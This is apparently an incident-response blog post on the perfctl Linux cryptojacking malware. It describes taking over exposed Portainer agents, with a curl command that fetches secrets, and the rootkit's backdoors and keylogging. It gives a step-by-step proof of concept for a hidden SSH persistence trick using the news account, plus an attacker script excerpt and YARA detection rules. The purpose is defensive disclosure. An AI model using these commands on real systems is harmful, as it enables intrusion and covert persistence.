Perfctl malware exploiting exposed Portainer agent and using new SSH persistence

During an incident response for one of our clients, we stumbled upon a server compromised by the now relatively documented ¹²³⁴ perfctl malware.

While it’s not uncommon to find documented threats during incident responses, we discovered that the attacker used new initial access and persistence methods. In this blogpost we will share the newly uncovered knowledge about the threat actor Tools Tactics and Procedures.

To summarize what was known about perfctl at the start of the investigation:

• It is a Linux Malware used for monetization of compromised computers by CryptoJacking and ProxyJacking
• It infects servers via multiple initial access methods including exposed Docker Remote API ³, use services and cron job for persistence
• It deploys a cryptominer named perfcc
• It may lead to an attacker deploying an infostealing payload ²
• Lastly, it is able to hide many of its actions via a LD_PRELOAD library injection as well as $PATH hijacking with custom tools for commands like top, strace or crontab.

During our investigation, we could confirm all above points, but also discovered new TTPs of the attacker that were not documented before:

• It also exploits exposed Portainer agents
• It may backdoor existing account on the server to enable SSH access
• The attacker also installs a docker service in order to run ProxyJacking containers

Finally, we managed to find older binaries using similar techniques and filenames, which indicates that this threat actor is probably active since at least three years.

A new initial access method: exploiting unsecured portainer agents

Several initial access methods are already documented for this malware:

• The exploitation of misconfigured RocketMQ services is documented by Aquasec ¹
• The abuse of Exposed Docker Remote API is documented by TrendMicro ³
• The abuse of Selenium Grid is also documented by CADO security ⁴

In our case, none of the documented services were exposed, and the Docker API was listening exclusively on a local Unix Domain Socket.

However, the exploits logs matched almost perfectly the attack sequence documented by TrendMicro ³, as we discovered a service named KubeUpdate making an appearance at the time of compromise. Other elements as well pointed to Docker as an entry point for the attacker.

What we discovered is an abuse of badly secured Portainer agents⁵ that were exposed on the internet.

Portainer allows remote managing of Kubernetes or Docker clusters. It is based on a server/agent architecture where the server registers with the agents and is then able to query them for information and send commands to act on the containers on the server where the agent is running.

The port 9001 of the Portainer agent is used by the server to talk to the agent via an API. The registration process involves the server sending its public key and a signature in the X-Portaineragent-Publickey and X-Portaineragent-Signature headers. Once the server is registered, the agent will only accept commands signed by this first X-Portaineragent-Publickey.

By default, the X-Portaineragent-Signature header is a signature of the string Portainer-App, an option must be provided to change this shared secret. What is really important (and documented)⁶ is that this registration does not persist across reboots of the portainer agent. This effectively means that a portainer agent with its port 9001 exposed may be taken over after a reboot if an attacker connects before the legitimate Portainer server.

Once a malicious X-Portaineragent-Publickey is registered as the Portainer server, the available API almost match the standard Docker API, as Portainer Agent mainly works as a proxy for the Docker API.

For example, the secrets of the docker swarm may be retrieved by the following query:

curl -i --insecure -H "X-Portaineragent-Publickey: $(cat portainer_pubkey.txt)" -H "X-Portaineragent-Signature: $(cat portainer_sign.txt)" https://TARGET:9001/secrets

Moreover, the endpoint https://TARGET:9001/containers/NAME/exec could be used to exec commands and so on. With this pairing done, an exploitation of Docker API like the one described by TrendMicro is made possible.

perfcc malware

The main malware installer, stored in /bin/perfcc is the same between our incident and the public reports ¹³².

It is an ELF binary, packed with a modified UPX⁷ packer replacing the standard UPX! headers by \x17\x18\xfd\xce.

We tried to statically unpack the binary, and during this process we found some oddities when looking a hexadecimal dump of the payload:

As UPX is a compressing tool, such bytes repetition should have a very low probability, and we guessed that the malware stored data encrypted with a simple XOR key of 0xCA. We proceeded to decrypt the file, which proved that the perfcc installer stored several encrypted ELF binaries inside it.

➜  perfcc  binwalk 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13_dec_ca

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
7213330       0x6E1112        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7247570       0x6E96D2        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7263090       0x6ED372        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7278610       0x6F1012        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7294162       0x6F4CD2        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7309778       0x6F89D2        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7357266       0x704352        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7373170       0x708172        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7489810       0x724912        ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
7547122       0x7328F2        SHA256 hash constants, little endian

The stored binaries are:

• The SUID backdoor later dropped as wizlmsh. This binary expects a password as first argument (which MD5 hash must be abc185c6a7d34354515a3fc2337a2efe, and then executes a shell with elevated privileges. It should be noted that this binary is stored with the setuid bit set, ensuring root privileges for the attacker.
• Several utilities such as top, ldd, compiled using a modified SHC⁸ tool, probably to evade signature detection
• The libgcwrap.so userland rootkit

Dumping the unpacked binary⁹, while not preserving the original file structure, allowed us to prove that this malware is an obfuscated Go binary, embedding a communication library using Tor.

The dropped binaries are also timestomped in order to mimic timestamps of legitimate files.

Finding and analyzing an older variant

During the investigation, we searched for malicious files using similar methods or filenames as perfcc, and found several matching our rules:

• b197e84c0948151f81abb6eb88de33f49ef904ac0ccb43c55375810d8913d706, submitted in the end of 2021 on VirusTotal
• 4d0867c87951125d9c980bd96853bb032dd3b299798646a09308942e4987165f, submitted in the end of 2021
• d9eb6f401544377511ca03f19442a4680feed39c971b6bcbec2ab341b4fb4645, also submitted in the end of 2021

After unpacking them (much easier than the latest version), we could analyze these samples and found the following information:

• The malware is implemented in Go, and makes use of the Emp3ror¹⁰ post-exploitation framework
• It is highly probable that these two samples are related to perfctl, because they use common paths and filenames not found in a pristine Emp3ror payload.
• The attacker also left the Go symbols in the older binaries, thus greatly easing the process of reverse engineering

The following functions were defined for the d9eb6f401544377511ca03f19442a4680feed39c971b6bcbec2ab341b4fb4645 implant:

main.CopyToNew
main.forkmeh_default
main.forkmeh_mimick
main.Restart
main.WatchLogins
main.StartX // This function launches the miner
main.StopX
main.FileContainsString
main.AddToProfile
main.CronSystemWideDaily
main.CronSystemWideCrond
main.DeleteCron
main.CopyToUserHome
main.UserCron
main.CreateCronJob
main.main
main.socketListen
main.server
main.bootTor
main.isOnionReachable
main.isLocalHSreachable
main.forwarder
main.forwardConnection
main.connectAltHome

Some of the common paths and filenames between this sample and the newer one are the followings:

• /tmp/.xdiag/hs.txt, /tmp/.xdiag/tordata and /tmp/.xdiag/hroot used in main.bootTor.
• /etc/cron.d/perfclean used in main.CronSystemWideCrond.
• /.config/cron/perfcc used in main.AddToProfile
• /tmp/.perf.c used in main.CopyToNew
• (crontab -l|grep -v -e perfcc -e /tmp/.perf;echo '11 * * * * used in main.UserCron
• /tmp/.xdiag/p and several others used in main.main

There is also several differences between the older samples and the newer ones:

• The sample b197e84c0948151f81abb6eb88de33f49ef904ac0ccb43c55375810d8913d706 did not implement functionalities related to the perfcc miner, suggesting it could have been either a test implant, or an implant deployed together with a miner by another dropper.
• None of the older samples included the LD_PRELOAD userland rootkit, suggesting it was added later by the attacker.

These different samples show that the attacker is probably active since at least 3 years, and is improving its capabilities by adding features to its implants, such as a better packing or the userland rootkit described in the next section.

Usermode rootkit in action

The malware automatically drops a userland rootkit in the file /lib/libgcwrap.so, and ensures that this library is loaded in each new process by hijacking the dynamic linker by writing the path in the /etc/ld.so.preload configuration file.

As documented by Aquasec¹, this rootkit hooks several legitimate functions such as open, read, pcap_loop, …

Most of these functions are quite simple, they check if the AAZHDE environment variable is set, and if not it blocks the listing and reading of any folder / filename containing one of the following terms: .xdiag;.perf.c;.dmesg;perfctl;perfcc;libgcwrap.so;ld.so.preload;libfsnldev.so;libpprocps.so;wizlmsh

The rootkit also implements several functionalities which were not yet documented:

• It modifies some ptrace syscalls
• It modifies the CPU and usage information (in /proc/PID/stat for example) by replacing them with random values
• It implements an authentication backdoor for PAM modules (it checks for a hashed password of 378ab0e0862bbae881da4fbbeb71e8916f3dc771edb44161c2a63a626c966419 in pam_authenticate)
• If the normal PAM logins are successful, the corresponding login and password will be stored in a XOR encrypted file in the /tmp/.xdiag/data/pam folder
• It implements a passive backdoor in the accept function, if the attacker sends data corresponding to the SHA256 hash 2d7472aa3a35efed7d96d0abb6c1209f7adc46ac837517787d8a7ef0500bf183 it will then respond by sending the string Welcome back, friend. and binding the socket to a bash shell
• There is also a keylogging functionality when opening /dev/tty* files, the results of the TTY sessions are stored XOR encrypted in the /tmp/.xdiag/data/tty/ folder. Each session is stored in a file named %s.%d.%d.%d.%d.txt with the corresponding program name, timestamp, uid, gid and sid

Exploring an injected /bin/bash

While perfctl lives in an environment with multiple binaries, it is possible to test the effect of the /lib/libgcwrap.so alone by using LD_PRELOAD. The capabilities of the userland rootkit to hide some files and directories can be directly observed in a bash session.

The commands and output below reproduce an exchange with a sysadmin to retrieve some critical perfctl logs during our investigations.

user@TestVM:~/Documents$ ls # a copy of perfctl's injected .so
perfctl_libwrap.so

# Emulate perfctl data storage
# This directory will be hidden by perfctl as it contains ".xdiag"
user@TestVM:~/Documents$ mkdir data.xdiag

# Write some file in the fake perfctl directory
user@TestVM:~/Documents$ echo perfctl_data > data.xdiag/log.txt

# The data.xdiag directory is visible in a non injected process
user@TestVM:~/Documents$ ls
data.xdiag  perfctl_libwrap.so

# Enter an injected /bin/bash using LD_PRELOAD
user@TestVM:~/Documents$ LD_PRELOAD=/home/user/Documents/perfctl_libwrap.so /bin/bash

# Copying the directory / Reading the files is impossible
user@TestVM-INJECTED:~/Documents$ ls
file.txt
user@TestVM-INJECTED:~/Documents$ cat data.xdiag/log.txt
cat: data.xdiag/log.txt: No such file or directory
user@TestVM-INJECTED:~/Documents$ cp -r data.xdiag copy
cp: cannot stat 'data.xdiag': No such file or directory

# Going into data.xdiag is possible
user@TestVM-INJECTED:~/Documents$ cd data.xdiag
user@TestVM-INJECTED:~/Documents/data.xdiag$ pwd
/home/user/Documents/data.xdiag
user@TestVM-INJECTED:~/Documents/data.xdiag$ ls -las
ls: cannot access '.': No such file or directory
total 4
? d????????? ? ?    ?       ?            ? .
4 drwxr-xr-x 3 test test 4096 Dec 11 04:12 ..

# Use of busybox to explore the directory
# Busybox is not impacted as it is statically linked
test@test-Virtual-Machine:~/Documents$ ldd /bin/busybox
        not a dynamic executable
user@TestVM-INJECTED:~/Documents/data.xdiag$ /bin/busybox ls
file2.txt  log.txt
user@TestVM-INJECTED:~/Documents/data.xdiag$ /bin/busybox cat log.txt
perfctl_data
user@TestVM-INJECTED:~/Documents/data.xdiag$ cd ..

# Busybox is also able to see the file, as the process is not injected
user@TestVM-INJECTED:~/Documents$ /bin/busybox ls
data.xdiag          file.txt            perfctl_libwrap.so
user@TestVM-INJECTED:~/Documents$ ls
file.txt

As demonstrated, busybox being a statically linked binary allows exploring and retrieving the perfctl data on a live compromised system.

During our investigation, this method allowed us to retrieve key information about the malware.

Luckily, our Linux forensic collect agent (French link)¹¹ is also statically linked, allowing us to identify the malware almost instantly.

Actions on Objectives

Most of the attacker’s Actions on Objective are already documented, such as CryptoJacking and ProxyJacking¹³, and also stealing possible sensitive information ².

During our incident response, we encountered all these techniques:

• The attacker installed proxyjacking tools
• The attacker collected shell histories, configuration files and command lines possibly containing sensitive information

We also noticed the attacker launching a script for installing a custom containerd service using a base64 decoded payload.

This containerd service is then used to launch several ProxyJacking containers such as:

• bitping/bitpingd
• repocket/repocket
• earnfm/earnfm-client
• iproyal/pawns-cli
• A custom container based on the debian:buster image, which downloads and execute the speedshare.app payload

New persistence

During our incident response, we observed the attacker making a set of modifications allowing them to come back via SSH without creating a new account. This method relied on the news account existing on standard Linux.

On a fresh Debian install, its /etc/passwd entry is: news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

The modifications made by the attacker are the following:

• Create /var/spool/news/.ssh/authorized_keys containing the attacker public-key
• Make a copy of /bin/dash as /usr/sbin/nologin (with a trailing space)
• Modify /etc/shells to include nologin (with a trailing space)
• Add a space at the end of news line in /etc/passwd

This effectively changes the news shell from nologin to nologin and thus /bin/dash.

These modifications allow the threat actor to come back using SSH with the news account.

A Proof of Concept of the process can be found below:

# Proof that 'news' cannot SSH
┌──(root㉿COMPUTER)-[~]
└─# ssh news@localhost
news@localhost's password:
Permission denied, please try again.
[...]

# Check 'news' line in '/etc/passwd'
┌──(root㉿COMPUTER)-[~]
└─# cat /etc/passwd | grep 'news'
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

# Drop the SSH key in the newly created home
┌──(root㉿COMPUTER)-[~]
└─# mkdir -p /var/spool/news/.ssh
┌──(root㉿COMPUTER)-[~]
└─# cp /root/.ssh/id_ed25519.pub /var/spool/news/.ssh/authorized_keys

# Try SSH: it works but '/usr/sbin/nologin' tells us:
# This account is currently not available.
┌──(root㉿COMPUTER)-[~]
└─# ssh news@localhost
[...]
This account is currently not available.
Connection to localhost closed.

# Create 'nologin '
┌──(root㉿COMPUTER)-[~]
└─# cp /bin/dash '/usr/sbin/nologin '

# Still nothing
┌──(root㉿COMPUTER)-[~]
└─# ssh news@localhost
[...]
Last login: Fri Nov 29 15:48:28 2024 from 127.0.0.1
This account is currently not available.
Connection to localhost closed.

# Add a space at the end of the line in '/etc/passwd'
# to change effective shell to '/usr/sbin/nologin '
┌──(root㉿COMPUTER)-[~]
└─# sed -i /etc/passwd -e 's$news:x:9:9:news:/var/spool/news:/usr/sbin/nologin$news:x:9:9:news:/var/spool/news:/usr/sbin/nologin $'

# SSH \o/
┌──(root㉿COMPUTER)-[~]
└─# ssh news@localhost
[...]
Last login: Fri Nov 29 15:48:53 2024 from 127.0.0.1
$ whoami
news
$
Connection to localhost closed.

# Remove the space
┌──(root㉿COMPUTER)-[~]
└─# sed -i /etc/passwd -e 's$news:x:9:9:news:/var/spool/news:/usr/sbin/nologin $news:x:9:9:news:/var/spool/news:/usr/sbin/nologin$'

# Does not work anymore
┌──(root㉿COMPUTER)-[~]
└─# ssh news@localhost
[...]
This account is currently not available.
Connection to localhost closed.

Conclusion

While perfctl is an already documented malware, this blogpost aimed to show that there can always be new elements to be found during an investigation.

The threat actor behind this malicious is are showing creativity by exploiting multiple exposed services, and is both financially profiting from using the resources of the compromised and stealing sensitive data.

This analysis also shows that a noisy threat actor who doesn’t fit the profile for a state actor can nevertheless demonstrate advanced capabilities and persistence against a wide range of targets.

Annexes

Extract of the malicious Docker installation script

# Launching of the repocket container
_start_rpk(){
[...]
  if _proc_env RP_API_KEY ;then
    echo "rpk already running"
    return
  fi
  if ! _is_inside_container ;then

    if docker -H $DKSKF images|grep -q repocket;then
      if ! docker -H $DKSKF inspect repocket/repocket|grep -q 'sha256:77593eb24b7162a9f7cee2ae058089e432e97fb8478b6821654269223298f26a';
      then
        docker -H $DKSKF pull repocket/repocket:latest
      fi
    fi

    if ! _hasc "repocket.*rpk" "rpk";
      then
      docker -H $DKSKF run -d --rm -e RPKUV=5 -e AAZHDE=1 -e RP_EMAIL=web3evo@protonmail.com -e RP_API_KEY=da9d8d4c-4fda-46bc-a4ce-39a9b60b7ae7 --name rpk repocket/repocket:latest
      echo "dk RPK run"
    else
      echo "rpk already running"
    fi
  else
    echo "noimpl"
  fi
}
[...]
# Part of the containerd installation
mkdir -p /bin/wbin/run /bin/wbin/data /bin/wbin/exec /bin/wbin/vol /bin/wbin/contd/run

cfgpath="/bin/wbin/contd/config.toml"

rm -rf $cfgpath
if _proc_name_ps 'container.* config default';then
  ps axjf|grep 'container.* config default'|grep -v grep|awk '{print $2}'|xargs kill -9
fi
timeout 10 containerd config default > $cfgpath || timeout 10 docker-containerd config default > $cfgpath
if [ ! -s $cfgpath ];then
  echo "could not write default contd config"
  _nodock_fallback_2
  exit
fi
sed -i 's;root = "/.*"$;root = "/bin/wbin/contd";' $cfgpath
sed -i 's;state = "/.*"$;state = "/bin/wbin/contd/run";' $cfgpath
sed -i 's;address = "/.*\.sock";address = "/bin/wbin/contd/run/containerd.sock";' $cfgpath

export PATH=/bin/wbin:$PATH
export AAZHDE=1
[...]

echo "- starting CONTAINERD"
ln -s /bin/wbin/docker-containerd-shim /bin/wbin/containerd-shim
if _cx containerd &>/dev/null;then
  nohup containerd --config=$cfgpath &>/dev/null &
elif _cx docker-containerd &>/dev/null;then
  nohup docker-containerd --config=$cfgpath &>/dev/null &
else
  echo "contd binary not found"
  _nodock_fallback_2
  exit
fi

IOC

Hashes

Filenames

Network IOCs

Yara rules

rule PwnKit_Exploit_01 {
    meta:
        author = "Exatrack"
        date =   "2024-12-06"
        description = "Detects pwnkit exploit embedded in some perfctl binaries"
        tlp =  "CLEAR"
        source =  "Exatrack"
        sample_hash = "dcd07180b7c48d6c83c6bb8c88ae995a8ab5a8046de1d551c1ead9c29146f99b,44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879"
        ref_url = "https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/"

    strings:
        $str_pwnkit_01 = "Exploit failed. Target is most likely patched." ascii fullword
        $str_pwnkit_02 = "CHARSET=pkexec" ascii fullword
        $str_pwnkit_03 = "SHELL=pkexec" ascii fullword
        $str_pwnkit_04 = ".pkexec/pkexec.so" ascii fullword
        $str_pwnkit_05 = "module UTF-8// PKEXEC// pkexec 2" ascii fullword

    condition:
        3 of them
}


rule PerfCC_Rootkit_01 {
    meta:
        author = "Exatrack"
        date =   "2024-11-13"
        description = "Detects Perfcc libgcwrap.so userland rootkit"
        score =   90
        tlp =  "CLEAR"
        sample_hash = "a6d3c6b6359ae660d855f978057aab1115b418ed277bb9047cd488f9c7850747"
        ref_url = "https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/,https://www.trendmicro.com/en_us/research/24/j/attackers-target-exposed-docker-remote-api-servers-with-perfctl-.html"

    strings:

        // String decryption loop
        $str_decrypt_loop = {48 01 ca 0f b6 12 83 f2 ac}

        $str_01 = "/tmp/.xdiag/" xor
        $str_02 = "/lib/libfsnldev.so" xor
        $str_03 = "/tmp/wttwe" xor
        $str_04 = "PATH=/tmp:$PATH;chmod 777 /tmp" xor
        $str_05 = "libgcwrap.so" xor
        $str_06 = "/lib/libpprocps.so" xor
        $str_07 = "Welcome back, friend." xor

    condition:
        any of them
}

rule PerfCC_Install_Script {
    meta:
        author = "Exatrack"
        date =   "2024-10-23"
        update =   "2024-10-23"
        description = "Detects perfcc related files"
        score =   80
        tlp =  "CLEAR"
        ref_url = "https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/,https://www.trendmicro.com/en_us/research/24/j/attackers-target-exposed-docker-remote-api-servers-with-perfctl-.html"

    strings:
        $str_script_01 = "pkill -9 perfctl &>/dev/null" ascii fullword
        $str_script_02 = "/tmp/.xdiag/" ascii
        $str_script_03 = "exec 3<>/dev/tcp/${HOST}/$PORT" ascii fullword
        $str_script_04 = "/tmp/.perf.c" ascii fullword
        $str_script_05 = {6563686f202d656e202247455420247b444f437d20485454502f312e305c725c6e486f73743a20247b484f53547d5c725c6e557365722d4167656e743a206375726c2f372e37342e395c725c6e5c725c6e22203e}
        $str_script_06 = "wget -U\"curl/7.74.9\""

        $str_script_07 = "/tmp/kubeupd" ascii fullword
        $str_script_08 = "ExecStart=/tmp" ascii fullword
        $str_script_09 = "/bin/kkbush" ascii fullword
        $str_script_10 = "\"aa downloaded\"" ascii fullword

    condition:
        2 of them
}

ATT&CK Techniques used

References